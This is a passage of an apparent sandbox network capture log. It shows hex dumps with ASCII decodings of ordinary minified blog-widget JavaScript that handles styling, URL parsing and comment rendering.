65 6e 74 48 65 69 67 68 74 29 22 29 3b 61 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 31 30 30 30 22 3b 61 2e 73 74 
79 6c 65 2e 63 75 72 73 6f 72 3d 22 64 65 66 61 75 6c 74 22 3b 61 2e 6f 6e 63 6c 69 63 6b 3d 4f 2e 74 62 3b 61 2e 6f 6e 
6d 6f 75 73 65 64 6f 77 6e 3d 4f 2e 74 62 3b 61 2e 6f 6e 6d 6f 75 73 65 75 70 3d 4f 2e 74 62 3b 61 2e 73 74 79 6c 65 2e 
62 61 63 6b 67 72 6f 75 6e 64 3d 22 77 68 69 74 65 22 3b 61 2e 73 74 79 6c 65 2e 66 69 6c 74 65 72 3d 22 61 6c 70 68 
61 28 6f 70 61 63 69 74 79 3d 31 29 22 3b 61 2e 73 74 79 6c 65 
Data Ascii: yle.height="100%";I&&!Ze(7)&&(a.style.height="expression(this.parentNode.clientHeight)");a.style.zIndex="100
0";a.style.cursor="default";a.onclick=O.tb;a.onmousedown=O.tb;a.onmouseup=O.tb;a.style.background="white";a.st
yle.filter="alpha(opacity=1)";a.style

2021-11-25 17:33:42 UTC 226 IN Data Raw: 30 22 3b 61 2e 73 74 79 6c 65 2e 57 65 62 6b 69 74 54 72 61 6e 73 66 6f 72 6d 3d 69 62 3b 61 2e 73 74 79 6c 
65 2e 57 65 62 6b 69 74 54 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 35 30 25 20 30 22 3b 46 65 28 61 2c 49 67 
28 62 29 29 3b 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 69 6e 67 6c 65 74 6f 6e 2d 65 6c 65 6d 65 6e 74 22 3b 72 65 
74 75 72 6e 20 61 7d 3b 4f 2e 74 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 7c 7c 28 61 3d 77 69 6e 64 6f 77 2e 65 76 
65 6e 74 29 3b 61 26 26 28 61 2e 63 61 6e 63 65 6c 42 75 62 62 6c 65 3d 21 30 2c 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 
74 69 6f 6e 26 26 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29 3b 72 65 74 75 72 6e 21 31 7d 3b 66 75 6e 
63 74 69 6f 6e 20 77 69 28 29 7b 74 68 69 73 2e 43 3d 5b 5d 3b 
Data Ascii: 0";a.style.WebkitTransform=ib;a.style.WebkitTransformOrigin="50% 0";Fe(a,Ig(b));a.className="singleton-
element";return a};O.tb=function(a){a||(a=window.event);a&&(a.cancelBubble=!0,a.stopPropagation&&a.stopPropagation(
));return!1};function wi(){this.C=[];

2021-11-25 17:33:42 UTC 228 IN Data Raw: 4f 2e 47 63 3b 4f 2e 5f 4f 6e 57 69 64 67 65 74 43 6f 6e 66 69 67 75 72 65 64 57 69 74 68 44 61 74 61 3d 4f 2e 
50 62 3b 4f 2e 5f 4f 6e 57 69 64 67 65 74 44 65 6c 65 74 65 64 3d 4f 2e 48 63 3b 7a 28 22 5f 57 69 64 67 65 74 49 6e 66 
6f 22 2c 70 69 29 3b 0a 70 69 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 49 6e 73 74 61 6e 63 65 49 64 3d 70 69 2e 70 
72 6f 74 6f 74 79 70 65 2e 4a 3b 50 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 47 65 74 48 65 6c 70 65 72 3d 50 2e 70 72 6f 74 6f
74 79 70 65 2e 78 63 3b 71 69 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 47 65 74 44 61 74 61 3d 71 69 2e 70 72 6f 74 6f 74 79 
70 65 2e 46 3b 71 69 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 47 65 6e 65 72 61 74 65 57 69 64 67 65 74 4d 65 74 61 64 61 74 
61 3d 71 69 2e 70 72 6f 74 6f 74 79 70 65 2e 44 3b 
Data Ascii: O.Gc;O._OnWidgetConfiguredWithData=O.Pb;O._OnWidgetDeleted=O.Hc;z("_WidgetInfo",pi);pi.prototype._
getInstanceId=pi.prototype.J;P.prototype._GetHelper=P.prototype.xc;qi.prototype._GetData=qi.prototype.F;qi.pro
totype._GenerateWidgetMetadata=qi.prototype.D;

2021-11-25 17:33:42 UTC 229 IN Data Raw: 65 6e 74 4e 6f 64 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 2e 63 6f 6c 6f 72 3b 66 6f 72 28 76 61 72 20 63 
3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 61 5b 63 5d 3b 30 3c 73 66 28 64 6f 63 75 
6d 65 6e 74 2c 6c 2c 78 61 2c 64 29 2e 6c 65 6e 67 74 68 3f 28 64 2e 6f 6e 63 6c 69 63 6b 3d 74 68 69 73 2e 55 63 2e 62 
69 6e 64 28 74 68 69 73 29 2c 43 69 28 74 68 69 73 2c 64 29 29 3a 64 2e 6f 6e 63 6c 69 63 6b 3d 74 68 69 73 2e 56 63 
2e 62 69 6e 64 28 74 68 69 73 29 3b 62 26 26 28 64 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 3d 62 29 7d 69 66 28 64 3d 4e 28 
74 68 69 73 2e 48 2c 22 41 72 63 68 69 76 65 4d 65 6e 75 22 29 29 7b 66 6f 72 28 63 3d 31 3b 63 3c 64 2e 6f 70 74 69 6f 
6e 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 61 3d 64 2e 
Data Ascii: entNode.currentStyle.color;for(var c=0;c<a.length;c++){var d=a[c];0<sf(document,l,xa,d).length?(d.onclick=th
is.Uc.bind(this),Ci(this,d)):d.onclick=this.Vc.bind(this);b&&(d.style.color=b)}if(d=N(this.H,"ArchiveMenu")){for(c=1;c<d
.options.length;c++)if(a=d.

2021-11-25 17:33:42 UTC 230 IN Data Raw: 28 63 2c 22 73 70 6c 61 73 68 22 29 3b 76 61 72 20 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 
65 6d 65 6e 74 28 6c 29 3b 48 65 28 64 2c 22 73 70 6c 61 73 68 2d 77 72 61 70 70 65 72 22 29 3b 64 2e 61 70 70 65 6e 
64 43 68 69 6c 64 28 63 29 3b 62 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 62 2e 66 69 72 73 74 43 68 69 6c 64 
29 7d 4a 65 28 63 2c 22 61 6e 69 6d 61 74 65 22 29 3b 64 3d 62 2e 6f 66 66 73 65 74 57 69 64 74 68 3b 76 61 72 20 65 3
d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 62 29 3b 64 2b 3d 70 61 72 73 65 49 6e 74 28 65 2e 6d 61 72 67 69 
6e 4c 65 66 74 29 2b 70 61 72 73 65 49 6e 74 28 65 2e 6d 61 72 67 69 6e 52 69 67 68 74 29 3b 64 3d 4d 61 74 68 2e 6d 
61 78 28 64 2c 46 69 28 62 29 29 3b 74 66 28 63 2c 7b 73 74 79 6c 65 
Data Ascii: (c,"splash");var d=document.createElement(l);He(d,"splash-wrapper");d.appendChild(c);b.insertBefore(d,b.firs
tChild)}Je(c,"animate");d=b.offsetWidth;var e=getComputedStyle(b);d+=parseInt(e.marginLeft)+parseInt(e.marginR
ight);d=Math.max(d,Fi(b));tf(c,{style

2021-11-25 17:33:42 UTC 232 IN Data Raw: 62 75 74 65 28 4a 61 29 7c 7c 43 69 28 61 2c 62 29 3b 76 61 72 20 64 3d 28 61 3d 63 2e 67 65 74 41 74 74 72 
69 62 75 74 65 28 4a 61 29 7c 7c 46 69 28 63 29 29 3f 61 2b 22 70 78 22 3a 70 3b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 
65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 66 28 63 2c 7b 73 74 79 6c 65 3a 22 6d 61 78 2d 68 65 69 67 68 74 3a 
20 22 2b 64 2b 22 3b 22 7d 29 7d 2c 31 30 29 7d 66 75 6e 63 74 69 6f 6e 20 47 69 28 61 2c 62 29 7b 76 61 72 20 63 3d 
4b 28 78 61 2c 62 29 3b 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4a 61 29 7c 7c 43 69 28 61 2c 62 29 3b 77 69 6e 
64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 66 28 63 2c 7b 73 74 79 6c 65 3a 24 61 
7d 29 7d 2c 31 30 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 43 69 28 
Data Ascii: bute(Ja)||Ci(a,b);var d=(a=c.getAttribute(Ja)||Fi(c))?a+"px":p;window.setTimeout(function(){tf(c,{style:"max-
height: "+d+";"})},10)}function Gi(a,b){var c=K(xa,b);c.getAttribute(Ja)||Ci(a,b);window.setTimeout(function(){tf(c,{style:$a})},
10)}function Ci(

2021-11-25 17:33:42 UTC 233 IN Data Raw: 6b 3d 48 69 28 64 2c 67 2c 6c 2c 59 61 29 3b 6b 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 2e 63 72 65 61 74 
65 54 65 78 74 4e 6f 64 65 28 65 5b 5a 61 5d 29 29 3b 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 62 2c 65 5b 59 
61 5d 29 7d 68 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 65 5b 22 6c 
61 79 6f 75 74 2d 74 69 74 6c 65 22 5d 29 29 3b 0a 65 3d 48 69 28 64 2c 67 2c 22 61 22 2c 22 65 64 69 74 6c 69 6e 6b 2
2 29 3b 76 61 72 20 6e 3d 62 2e 5f 47 65 6e 65 72 61 74 65 57 69 64 67 65 74 4d 65 74 61 64 61 74 61 28 29 3b 65 2e 74 
61 72 67 65 74 3d 22 63 68 6f 6f 73 65 57 69 64 67 65 74 22 3b 65 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 
29 7b 72 65 74 75 72 6e 20 63 2e 5f 50 6f 70 75 70 43 6f 6e 66 69 
Data Ascii: k=Hi(d,g,l,Ya);k.appendChild(d.createTextNode(e[Za]));k.setAttribute(rb,e[Ya])}h.appendChild(d.createTextNod
e(e["layout-title"]));e=Hi(d,g,"a","editlink");var n=b._GenerateWidgetMetadata();e.target="chooseWidget";e.onclick=funct
ion(){return c._PopupConfi
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2021-11-25 17:33:42 UTC 234 IN Data Raw: 3d 61 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 76 61 72 20 62 3b 76 
6f 69 64 20 30 3d 3d 3d 62 26 26 28 62 3d 30 29 3b 69 66 28 21 4b 69 29 7b 4b 69 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 
63 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 
6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 22 2e 73 70 6c 69 74 28 22 22 29 2c 64 3
d 5b 22 2b 2f 3d 22 2c 22 2b 2f 22 2c 22 2d 5f 3d 22 2c 22 2d 5f 2e 22 2c 22 2d 5f 22 5d 2c 65 3d 30 3b 35 3e 65 3b 65 2b 
2b 29 7b 76 61 72 20 66 3d 63 2e 63 6f 6e 63 61 74 28 64 5b 65 5d 2e 73 70 6c 69 74 28 22 22 29 29 3b 4a 69 5b 65 5d 3
d 66 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 66 2e 6c 65 6e 
Data Ascii: =a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!Ki){Ki={};for(var c="ABCDEFGHIJKLMNOPQRST
UVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.con
cat(d[e].split(""));Ji[e]=f;for(var g=0;g<f.len

2021-11-25 17:33:42 UTC 235 IN Data Raw: 52 28 61 2c 62 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 3a 2b 61 7d 66 75 6e 63 74 69 6f 6e 20 
53 28 61 2c 62 29 7b 61 3d 52 28 61 2c 62 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 3a 21 21 61 7d 66 75 
6e 63 74 69 6f 6e 20 54 28 61 2c 62 29 7b 61 3d 53 28 61 2c 62 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 21 31 
3a 61 7d 66 75 6e 63 74 69 6f 6e 20 55 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3b 28 76 6f 69 64 20 30 3d 3d 3d 64 3f 30 
3a 64 29 7c 7c 62 3e 3d 61 2e 47 3f 28 56 69 28 61 29 2c 61 2e 44 5b 62 5d 3d 63 29 3a 61 2e 43 5b 62 2b 61 2e 46 5d 
3d 63 3b 72 65 74 75 72 6e 20 61 7d 54 69 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 72 65 74 75 72 6e 20 51 69 28 74 68 69 73 2e 43 2c 52 
Data Ascii: R(a,b);return null==a?a:+a}function S(a,b){a=R(a,b);return null==a?a:!!a}function T(a,b){a=S(a,b);return nul
l==a?!1:a}function U(a,b,c){var d;(void 0===d?0:d)||b>=a.G?(Vi(a),a.D[b]=c):a.C[b+a.F]=c;return a}Ti.prototype.toJSON=fu
nction(){return Qi(this.C,R

2021-11-25 17:33:42 UTC 237 IN Data Raw: 46 3b 63 3f 62 2e 46 3d 61 2e 46 3a 63 3d 6e 75 6c 6c 21 3d 61 2e 4e 3b 76 61 72 20 64 3d 61 2e 44 3b 69 66 
28 63 29 5a 69 28 62 2c 61 2e 4e 29 3b 65 6c 73 65 20 69 66 28 63 3d 21 21 61 2e 44 29 7b 69 66 28 22 2f 22 21 3d 64 
2e 63 68 61 72 41 74 28 30 29 29 69 66 28 74 68 69 73 2e 46 26 26 21 74 68 69 73 2e 44 29 64 3d 22 2f 22 2b 64 3b 65 
6c 73 65 7b 76 61 72 20 65 3d 62 2e 44 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 3b 2d 31 21 3d 65 26 26 28 64 
3d 62 2e 44 2e 73 75 62 73 74 72 28 30 2c 65 2b 31 29 2b 64 29 7d 65 3d 64 3b 69 66 28 22 2e 2e 22 3d 3d 65 7c 7c 22 2
e 22 3d 3d 65 29 64 3d 22 22 3b 65 6c 73 65 20 69 66 28 2d 31 21 3d 65 2e 69 6e 64 65 78 4f 66 28 22 2e 2f 22 29 7c 7c 
2d 31 21 3d 65 2e 69 6e 64 65 78 4f 66 28 22 2f 2e 22 29 29 7b 64 
Data Ascii: F;c?b.F=a.F:c=null!=a.N;var d=a.D;if(c)Zi(b,a.N);else if(c=!!a.D){if("/"!=d.charAt(0))if(this.F&&!this.D)d="
/"+d;else{var e=b.D.lastIndexOf("/");-1!=e&&(d=b.D.substr(0,e+1)+d)}e=d;if(".."==e||"."==e)d="";else if(-1!=e.indexOf("./")||-
1!=e.indexOf("/.")){d

2021-11-25 17:33:42 UTC 238 IN Data Raw: 67 2c 67 6a 3d 2f 5b 23 5c 3f 5d 2f 67 2c 6b 6a 3d 2f 5b 23 5c 3f 40 5d 2f 67 2c 69 6a 3d 2f 23 2f 67 3b 66 75 
6e 63 74 69 6f 6e 20 64 6a 28 61 2c 62 29 7b 74 68 69 73 2e 44 3d 74 68 69 73 2e 43 3d 6e 75 6c 6c 3b 74 68 69 73 2e 
46 3d 61 7c 7c 6e 75 6c 6c 3b 74 68 69 73 2e 47 3d 21 21 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6f 6a 28 61 29 7b 61 2e 43 
7c 7c 28 61 2e 43 3d 6e 65 77 20 4d 61 70 2c 61 2e 44 3d 30 2c 61 2e 46 26 26 72 68 28 61 2e 46 2c 66 75 6e 63 74 69 
6f 6e 28 62 2c 63 29 7b 61 2e 61 64 64 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 62 2e 72 65 70 6c 61 
63 65 28 2f 5c 2b 2f 67 2c 22 20 22 29 29 2c 63 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 70 6a 28 61 29 7b 76 61 72 20 
62 3d 59 68 28 61 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 
Data Ascii: g,gj=/[#\?]/g,kj=/[#\?@]/g,ij=/#/g;function dj(a,b){this.D=this.C=null;this.F=a||null;this.G=!!b}function oj(a){a.C||(
a.C=new Map,a.D=0,a.F&&rh(a.F,function(b,c){a.add(decodeURIComponent(b.replace(/\+/g," ")),c)}))}function pj(a){var 
b=Yh(a);if("undefine

2021-11-25 17:33:42 UTC 239 IN Data Raw: 2c 62 29 7b 6f 6a 28 74 68 69 73 29 3b 74 68 69 73 2e 46 3d 6e 75 6c 6c 3b 61 3d 72 6a 28 74 68 69 73 2c 61 
29 3b 74 6a 28 74 68 69 73 2c 61 29 26 26 28 74 68 69 73 2e 44 3d 74 68 69 73 2e 44 2d 74 68 69 73 2e 43 2e 67 65 74 
28 61 29 2e 6c 65 6e 67 74 68 29 3b 74 68 69 73 2e 43 2e 73 65 74 28 61 2c 5b 62 5d 29 3b 74 68 69 73 2e 44 3d 74 68 
69 73 2e 44 2b 31 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 74 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2
9 7b 69 66 28 21 61 29 72 65 74 75 72 6e 20 62 3b 61 3d 74 68 69 73 2e 24 28 61 29 3b 72 65 74 75 72 6e 20 30 3c 61 
2e 6c 65 6e 67 74 68 3f 53 74 72 69 6e 67 28 61 5b 30 5d 29 3a 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 71 6a 28 61 2c 62 2c 
63 29 7b 73 6a 28 61 2c 62 29 3b 30 3c 63 2e 6c 65 6e 67 74 68 26 26 
Data Ascii: ,b){oj(this);this.F=null;a=rj(this,a);tj(this,a)&&(this.D=this.D-this.C.get(a).length);this.C.set(a,[b]);this.D=this.D
+1;return this};t.get=function(a,b){if(!a)return b;a=this.$(a);return 0<a.length?String(a[0]):b};function qj(a,b,c){sj(a,b);0<c.le
ngth&&

2021-11-25 17:33:42 UTC 240 IN Data Raw: 41 6a 28 61 29 7b 69 66 28 6e 75 6c 6c 21 3d 61 29 73 77 69 74 63 68 28 61 2e 7a 62 29 7b 63 61 73 65 20 31 
3a 72 65 74 75 72 6e 20 31 3b 63 61 73 65 20 2d 31 3a 72 65 74 75 72 6e 2d 31 3b 63 61 73 65 20 30 3a 72 65 74 75 72 
6e 20 30 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 42 6a 28 61 29 7b 69 66 28 7a 6a 28 61 2c 
75 6a 29 29 76 61 72 20 62 3d 61 3b 65 6c 73 65 20 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 6c 65 29 62 3d 43 6
a 28 6d 65 28 61 29 2e 74 6f 53 74 72 69 6e 67 28 29 2c 61 2e 77 61 28 29 29 3b 65 6c 73 65 20 69 66 28 61 20 69 6e 73 
74 61 6e 63 65 6f 66 20 69 63 29 7b 62 3d 43 6a 3b 76 61 72 20 63 2c 64 3d 6c 63 28 61 29 3b 61 3d 28 6e 75 6c 6c 3d 
3d 3d 28 63 3d 66 63 28 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 63 3f 
Data Ascii: Aj(a){if(null!=a)switch(a.zb){case 1:return 1;case -1:return-1;case 0:return 0}return null}function Bj(a){if(zj(a,uj))
var b=a;else if(a instanceof le)b=Cj(me(a).toString(),a.wa());else if(a instanceof ic){b=Cj;var c,d=lc(a);a=(null===(c=f
c())||void 0===c?

2021-11-25 17:33:42 UTC 242 IN Data Raw: 37 22 3a 22 25 30 37 22 2c 22 5c 62 22 3a 22 25 30 38 22 2c 22 5c 74 22 3a 22 25 30 39 22 2c 22 5c 6e 22 3a 
22 25 30 41 22 2c 22 5c 78 30 42 22 3a 22 25 30 42 22 2c 22 5c 66 22 3a 22 25 30 43 22 2c 22 5c 72 22 3a 22 25 30 44 
22 2c 22 5c 75 30 30 30 65 22 3a 22 25 30 45 22 2c 22 5c 75 30 30 30 66 22 3a 22 25 30 46 22 2c 22 5c 75 30 30 31 30 
22 3a 22 25 31 30 22 2c 22 5c 75 30 30 31 31 22 3a 22 25 31 31 22 2c 22 5c 75 30 30 31 32 22 3a 22 25 31 32 22 2c 22 5
c 75 30 30 31 33 22 3a 22 25 31 33 22 2c 22 5c 75 30 30 31 34 22 3a 22 25 31 34 22 2c 22 5c 75 30 30 31 35 22 3a 22 25 
31 35 22 2c 22 5c 75 30 30 31 36 22 3a 22 25 31 36 22 2c 22 5c 75 30 30 31 37 22 3a 22 25 31 37 22 2c 22 5c 75 30 30 
31 38 22 3a 22 25 31 38 22 2c 22 5c 75 30 30 31 39 22 3a 22 25 31 39 
Data Ascii: 7":"%07","\b":"%08","\t":"%09","\n":"%0A","\x0B":"%0B","\f":"%0C","\r":"%0D","\u000e":"%0E","\u000f":"%0F","
\u0010":"%10","\u0011":"%11","\u0012":"%12","\u0013":"%13","\u0014":"%14","\u0015":"%15","\u0016":"%16","\u001
7":"%17","\u0018":"%18","\u0019":"%19

2021-11-25 17:33:42 UTC 243 IN Data Raw: 6c 6f 62 3a 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4b 6a 28 61 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 
61 29 2e 72 65 70 6c 61 63 65 28 4d 6a 2c 4e 6a 29 7d 0a 76 61 72 20 47 6a 3d 2f 3c 28 3f 3a 21 7c 5c 2f 3f 28 5b 61 2d 
7a 41 2d 5a 5d 5b 61 2d 7a 41 2d 5a 30 2d 39 3a 5c 2d 5d 2a 29 29 28 3f 3a 5b 5e 3e 27 22 5d 7c 22 5b 5e 22 5d 2a 22 
7c 27 5b 5e 27 5d 2a 27 29 2a 3e 2f 67 2c 48 6a 3d 2f 3c 2f 67 3b 2f 2a 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 
64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 0a 76 61 72 20 52 6a 3d 4f 62 6a 65 63 74 2e 
70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 66 75 6e 63 74 69 6f 6e 20 53 6a 28 29 7b 7d 
53 6a 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 
Data Ascii: lob:/i;function Kj(a){return String(a).replace(Mj,Nj)}var Gj=/<(?:!|\/?([a-zA-Z][a-zA-Z0-9:\-]*))(?:[^>'"]|"[^"]*"|'[^
']*')*>/g,Hj=/</g;/* SPDX-License-Identifier: Apache-2.0 */var Rj=Object.prototype.hasOwnProperty;function Sj(){}Sj.prot
otype=Object.c
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2021-11-25 17:33:42 UTC 244 IN Data Raw: 73 72 63 3d 22 27 2c 68 3d 64 2e 61 75 74 68 6f 72 41 76 61 74 61 72 53 72 63 3b 7a 6a 28 68 2c 76 6a 29 7c 
7c 7a 6a 28 68 2c 77 6a 29 3f 68 3d 4b 6a 28 68 29 3a 68 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 64 3f 68 3d 4b 6a 28 48 
64 28 68 29 29 3a 68 20 69 6e 73 74 61 6e 63 65 6f 66 20 76 63 3f 68 3d 4b 6a 28 79 63 28 68 29 29 3a 68 20 69 6e 73 
74 61 6e 63 65 6f 66 20 70 64 3f 68 3d 4b 6a 28 72 64 28 68 29 2e 74 6f 53 74 72 69 6e 67 28 29 29 3a 28 68 3d 53 74 72 
69 6e 67 28 68 29 2c 68 3d 51 6a 2e 74 65 73 74 28 68 29 3f 68 2e 72 65 70 6c 61 63 65 28 4d 6a 2c 4e 6a 29 3a 73 61 
29 3b 66 3d 67 2b 46 6a 28 68 29 2b 27 22 20 61 6c 74 3d 22 22 2f 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 
22 63 6f 6d 6d 65 6e 74 2d 62 6c 6f 63 6b 22 3e 3c 64 69 76 20 
Data Ascii: src="',h=d.authorAvatarSrc;zj(h,vj)||zj(h,wj)?h=Kj(h):h instanceof Fd?h=Kj(Hd(h)):h instanceof vc?h=Kj(yc(h)):h 
instanceof pd?h=Kj(rd(h).toString()):(h=String(h),h=Qj.test(h)?h.replace(Mj,Nj):sa);f=g+Fj(h)+'" alt=""/></div><div 
class="comment-block"><div 

2021-11-25 17:33:42 UTC 246 IN Data Raw: 6e 64 65 64 22 3e 3c 64 69 76 3e 27 3b 68 3d 67 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 
6b 3c 68 3b 6b 2b 2b 29 66 2b 3d 5a 6a 28 61 2c 62 2c 63 2c 67 5b 6b 5d 2c 65 3f 65 2b 31 3a 31 29 3b 66 2b 3d 27 3c 2f 
64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 27 2b 0a 46 6a 28 64 2e 69 64 29 2b 27 2d 63 6f 6e 74 69 6e 75 65 22 20 63 
6c 61 73 73 3d 22 63 6f 6e 74 69 6e 75 65 22 3e 3c 61 20 63 6c 61 73 73 3d 22 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 79 22 
20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 20 64 61 74 61 2d 63 6f 6d 6d 65 6e 74 2d 69 64 3d 22 27 2b 46 6a 28 64 2e 
69 64 29 2b 27 22 3e 27 2b 42 6a 28 63 2e 72 65 70 6c 79 29 2b 27 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 6f 6c 3e 3c 2f 64 
69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 
Data Ascii: nded"><div>';h=g.length;for(var k=0;k<h;k++)f+=Zj(a,b,c,g[k],e?e+1:1);f+='</div><div id="c'+Fj(d.id)+'-continue" 
class="continue"><a class="comment-reply" target="_self" data-comment-id="'+Fj(d.id)+'">'+Bj(c.reply)+'</a></div></ol>
</div></div><div class=

2021-11-25 17:33:42 UTC 247 IN Data Raw: 28 29 2c 64 65 6c 65 74 65 20 74 68 69 73 2e 44 29 3b 67 6b 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 61 
29 7b 61 2e 76 61 28 29 7d 29 3b 74 68 69 73 2e 43 26 26 41 66 28 74 68 69 73 2e 43 29 3b 74 68 69 73 2e 4c 3d 74 68 
69 73 2e 43 3d 74 68 69 73 2e 54 3d 6e 75 6c 6c 3b 65 6b 2e 4f 2e 57 2e 63 61 6c 6c 28 74 68 69 73 29 7d 3b 66 75 6e 
63 74 69 6f 6e 20 67 6b 28 61 2c 62 29 7b 61 2e 54 26 26 61 2e 54 2e 66 6f 72 45 61 63 68 28 62 2c 76 6f 69 64 20 30 29 
7d 3b 66 75 6e 63 74 69 6f 6e 20 69 6b 28 61 2c 62 2c 63 2c 64 29 7b 65 6b 2e 63 61 6c 6c 28 74 68 69 73 2c 64 29 3b 7
4 68 69 73 2e 4a 3d 63 7c 7c 77 69 6e 64 6f 77 3b 74 68 69 73 2e 59 3d 61 3b 74 68 69 73 2e 63 61 3d 62 3b 74 68 69 73 
2e 52 3d 7b 7d 3b 74 68 69 73 2e 4b 3d 74 68 69 73 2e 46 3d 6e 75 
Data Ascii: (),delete this.D);gk(this,function(a){a.va()});this.C&&Af(this.C);this.L=this.C=this.T=null;ek.O.W.call(this)};functio
n gk(a,b){a.T&&a.T.forEach(b,void 0)};function ik(a,b,c,d){ek.call(this,d);this.J=c||window;this.Y=a;this.ca=b;this.R={}
;this.K=this.F=nu

2021-11-25 17:33:42 UTC 248 IN Data Raw: 62 26 26 70 67 28 66 6b 28 74 68 69 73 29 2c 62 2c 76 61 2c 74 68 69 73 2e 79 62 29 7d 70 67 28 66 6b 28 74 
68 69 73 29 2c 74 68 69 73 2e 4b 2c 76 61 2c 74 68 69 73 2e 79 62 29 3b 61 3d 74 68 69 73 2e 57 61 28 29 3b 70 67 28 
66 6b 28 74 68 69 73 29 2c 61 2c 76 61 2c 74 68 69 73 2e 79 62 29 3b 74 68 69 73 2e 53 62 28 29 3b 70 67 28 66 6b 28 
74 68 69 73 29 2c 74 68 69 73 2e 4a 2c 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 53 62 29 7d 3b 74 2e 73 68 6f 77 3d 66 
75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 57 61 28 29 3b 62 26 26 28 62 2e 73 74 79 6c 65 2e 6
4 69 73 70 6c 61 79 3d 61 3f 22 22 3a 70 29 7d 3b 74 2e 53 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 
68 69 73 2e 4a 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 62 3d 74 68 
Data Ascii: b&&pg(fk(this),b,va,this.yb)}pg(fk(this),this.K,va,this.yb);a=this.Wa();pg(fk(this),a,va,this.yb);this.Sb();pg(fk(this
),this.J,"scroll",this.Sb)};t.show=function(a){var b=this.Wa();b&&(b.style.display=a?"":p)};t.Sb=function(){var a=this.J
.innerHeight,b=th

